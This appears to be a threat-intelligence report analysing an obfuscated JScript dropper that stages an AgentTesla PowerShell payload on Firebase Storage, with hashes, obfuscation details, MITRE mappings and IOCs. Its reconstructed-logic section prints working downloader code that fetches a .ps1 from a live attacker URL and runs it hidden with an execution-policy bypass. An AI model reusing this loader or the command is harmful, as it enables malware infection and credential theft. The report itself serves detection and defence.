Back to reports

AgentTesla Hides in Plain Sight: JScript Dropper Abuses Firebase for Payload Staging

A heavily obfuscated JScript dropper leverages Google's Firebase infrastructure to deliver AgentTesla, achieving just 14/76 detection on VirusTotal.

PublishedMarch 12, 2026
AgentTeslaJScriptFirebasePowerShellcredential-stealerliving-off-the-landobfuscationphishingMaaS

This sample is a heavily obfuscated JScript/JavaScript dropper (WSH-compatible) that serves as the initial stage of an AgentTesla credential-stealing campaign. Upon execution via Windows Script Host (wscript.exe), the script downloads a second-stage PowerShell payload from a Firebase Storage bucket (newmarch-a5a44.firebasestorage.app), drops it to C:\Temp\ under a randomly generated filename, and launches it with execution-policy bypass flags. The script employs sophisticated obfuscation including string array indirection, index-offset arithmetic, control-flow flattening, and an embedded ReDoS anti-debugging pattern. The use of legitimate Google Firebase infrastructure for payload staging is a textbook living-off-the-land network technique designed to evade domain-reputation and proxy controls. VirusTotal detection stands at 14/76 as of first submission, with Fortinet classifying it specifically as JS/Formbook.ADXY!tr.dldr.

Sample Metadata

FieldValue
SHA25654486b9aa0838dabeeedde892feb01d3ebb4fe2fb51135c000f066e2039787db
MD566fe9a16f2c5f0fc526e524b42757b0f
SHA1778e6bed2e65f8294da30ba8ed50361da4c57a8c
Filename66fe9a16f2c5f0fc526e524b42757b0f.js
File Typetext/plain; JScript (WSH-compatible JavaScript)
File Size26,362 bytes
VT Detections14 / 76 (as of 2026-03-12)
First Seen2026-03-12 15:48:44 UTC
Reporterabuse_ch
TagsAgentTesla, js

Static Analysis

File Structure

The sample is a single-line, heavily obfuscated JScript file with no line terminators. It is compatible with Windows Script Host (wscript.exe / cscript.exe) and uses the legacy WSH ActiveX COM model.

Obfuscation Techniques

TechniqueDescription
String Array ObfuscationAll 365 string literals stored in central n() function returning array XX[]
Index ArithmeticString lookup function p(V,E) uses V - 0x172 as index into the string array
Multiple Lookup Functions~50 aliased string-lookup variants (ES, EW, EK, Ej, Eg, etc.) all pointing to p()
Control Flow FlatteningSwitch-case state machines with randomized case ordering (e.g., '6|1|2|3|0', '4|2|0|3|5')
IIFE WrappersMultiple self-invoking anonymous function closures
Anti-Debugging (ReDoS)Embeds RegEx pattern (((.+)+)+ — a known ReDoS canary used to detect debugger slow-down
Function Name ObfuscationAll identifiers use 1-2 character non-descriptive names
Dead Code / JunkSpurious branching and unused variables interspersed throughout

Reconstructed Logic (Deobfuscated)

After peeling back the obfuscation layers, the dropper's actual logic is straightforward:

// === Stage 1: Configuration ===
var SOURCE_URL  = "https://firebasestorage.googleapis.com/v0/b/newmarch-a5a44.firebasestorage.app/o/SweetWhnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnore.ps1?alt=media&token=0a670e28-7885-4a73-9e48-3f22043f8f04";
var WORKING_PATH = "C:\\Temp\\";
var RETRY_LIMIT  = 2;  // 0x2

// === Stage 2: Object Instantiation ===
var xmlhttp = new ActiveXObject("MSXML2.XMLHTTP");     // HTTP download
var wshell  = new ActiveXObject("WScript.Shell");       // Command execution
var fso     = new ActiveXObject("Scripting.FileSystemObject"); // File I/O

// === Stage 3: Anti-Analysis Check ===
// Uses RegEx ReDoS pattern to detect debugging environment

// === Stage 4: Download & Drop ===
function downloadAndRun(url) {
    var filename = Math.random().toString(36).substring(2, 10) + ".ps1";
    var fullPath = WORKING_PATH + filename;

    xmlhttp.open("GET", url, false);
    xmlhttp.send();

    if (xmlhttp.status == 200) {
        if (!fso.FolderExists(WORKING_PATH)) {
            fso.CreateFolder(WORKING_PATH);
        }
        var outFile = fso.CreateTextFile(fullPath, true);
        outFile.Write(xmlhttp.responseText);
        outFile.Close();

        // === Stage 5: Execute with PowerShell bypass ===
        var cmd = ["powershell.exe", "-nop", "-ep", "bypass", "-file", '"' + fullPath + '"'].join(" ");
        wshell.Run(cmd, 0, true);   // windowStyle=0 (hidden), bWaitOnReturn=true
        return true;
    }
    return false;
}

Key String Fragments from the Obfuscation Array

IndexValuePurpose
4MSXML2.XMXMLHTTP COM class prefix
108WScript.SWScript.Shell COM class prefix
74ScriptingFileSystemObject COM class prefix
150https://firebasestorage.googleapis.com/...C2 download URL
66-nopPowerShell NoProfile flag
176bypassExecutionPolicy bypass
277-filePowerShell -File parameter
97RunWScript.Shell.Run method
77(((.+)+)+ReDoS anti-debug pattern
178C:\Temp\Drop directory
327CreateFolCreateFolder method fragment

Behavioral Analysis

Execution Chain

Email/Web → Victim opens .js → wscript.exe executes JScript
    → Anti-analysis check (ReDoS debugger detection)
    → MSXML2.XMLHTTP GET → Firebase Storage (HTTPS)
    → Write C:\Temp\<random>.ps1
    → WScript.Shell.Run(powershell.exe -nop -ep bypass -file C:\Temp\<random>.ps1, 0, true)
    → AgentTesla/Formbook payload executes
    → Credential theft / keylogging / exfiltration

Persistence and Evasion

  • Runs PowerShell window hidden (windowStyle=0)
  • Bypasses PowerShell execution policy (-ep bypass)
  • Uses Math.random().toString(36) for randomized PS1 filename to evade static filename IOCs
  • Leverages legitimate Google/Firebase CDN for payload hosting (bypasses URL reputation)
  • Single-line, no whitespace — evades pattern-based signature engines

Network Indicators

TypeIndicatorNotes
URLhttps://firebasestorage.googleapis.com/v0/b/newmarch-a5a44.firebasestorage.app/o/SweetWhnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnore.ps1?alt=media&token=0a670e28-7885-4a73-9e48-3f22043f8f04Second-stage PS1 download
Domainfirebasestorage.googleapis.comGoogle Firebase (shared infrastructure)
Firebase Projectnewmarch-a5a44Attacker-controlled Firebase project
Storage Bucketnewmarch-a5a44.firebasestorage.appPayload hosting bucket
Payload FilenameSweetWhnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnore.ps1Second-stage PowerShell
Auth Token0a670e28-7885-4a73-9e48-3f22043f8f04Firebase access token
ProtocolHTTPS / TLSPort 443

MITRE ATT&CK TTPs

Technique IDNameDetails
T1566.001Phishing: Spearphishing AttachmentLikely delivered via malicious email attachment (.js file)
T1059.007Command and Scripting Interpreter: JavaScriptJScript executed via Windows Script Host
T1059.001Command and Scripting Interpreter: PowerShellSecond-stage PS1 executed with bypass
T1105Ingress Tool TransferDownloads PS1 payload from Firebase
T1027Obfuscated Files or Information365-entry string array with index arithmetic
T1027.010Obfuscated Files or Information: Command ObfuscationPowerShell flags obfuscated in string table
T1140Deobfuscate/Decode Files or InformationRuntime string reconstruction
T1562.001Impair Defenses: Disable or Modify Tools-ep bypass disables PowerShell execution policy
T1036MasqueradingUses legitimate Google Firebase cloud storage as C2
T1071.001Application Layer Protocol: Web ProtocolsHTTPS for C2/payload delivery
T1102Web ServiceAbuses Firebase (Google Cloud) as staging infrastructure
T1564.003Hide Artifacts: Hidden WindowPowerShell runs with windowStyle=0 (hidden)
T1497Virtualization/Sandbox EvasionReDoS anti-debugging technique

IOCs

File Indicators

TypeValueDescription
SHA25654486b9aa0838dabeeedde892feb01d3ebb4fe2fb51135c000f066e2039787dbJScript dropper
MD566fe9a16f2c5f0fc526e524b42757b0fJScript dropper
SHA1778e6bed2e65f8294da30ba8ed50361da4c57a8cJScript dropper
File pathC:\Temp\[a-z0-9]{8}\.ps1Dropped PowerShell payload

Network Indicators

TypeValueDescription
URLhttps://firebasestorage.googleapis.com/v0/b/newmarch-a5a44.firebasestorage.app/o/SweetWhnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnore.ps1?alt=media&token=0a670e28-7885-4a73-9e48-3f22043f8f04Payload download URL
Domainfirebasestorage.googleapis.comPayload hosting (shared)
Firebase Projectnewmarch-a5a44Attacker-controlled project
Auth Token0a670e28-7885-4a73-9e48-3f22043f8f04Firebase storage access token

Behavioral Indicators

TypeValueDescription
Processwscript.exe → powershell.exeParent-child process chain
PowerShell flags-nop -ep bypass -fileExecution policy bypass pattern
Directory creationC:\Temp\Drop directory

Campaign Context and Attribution

Malware Family: AgentTesla (confirmed by abuse_ch tags, Fortinet detection JS/Formbook.ADXY!tr.dldr, Rising Trojan.PSRunner/JS).

Attack Vector: Likely phishing email with .js attachment, the most common AgentTesla delivery vector.

Infrastructure: The attacker created Firebase project newmarch-a5a44 specifically for payload staging. This reflects a growing trend in commodity malware campaigns to abuse free cloud storage services -- Firebase, Dropbox, OneDrive, Pastebin -- to bypass URL filtering and domain reputation controls. Because firebasestorage.googleapis.com is a Google-owned domain trusted by most enterprise proxies, the malicious download blends in with legitimate traffic.

Payload: The second-stage SweetWhnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnore.ps1 is consistent with AgentTesla PS1 loaders that typically download and execute the final .NET AgentTesla binary. The end-stage payload performs keylogging, screenshot capture, credential theft from browsers and email clients, and exfiltrates stolen data via SMTP or FTP.

Attribution: No specific threat actor attributed. The campaign is consistent with commodity cybercrime -- AgentTesla is widely available as Malware-as-a-Service (MaaS).

Obfuscation Tooling: The obfuscation pattern (string array + index arithmetic + IIFE wrappers) is characteristic of obfuscator.io or similar JavaScript obfuscation services commonly used in JS dropper campaigns.

Share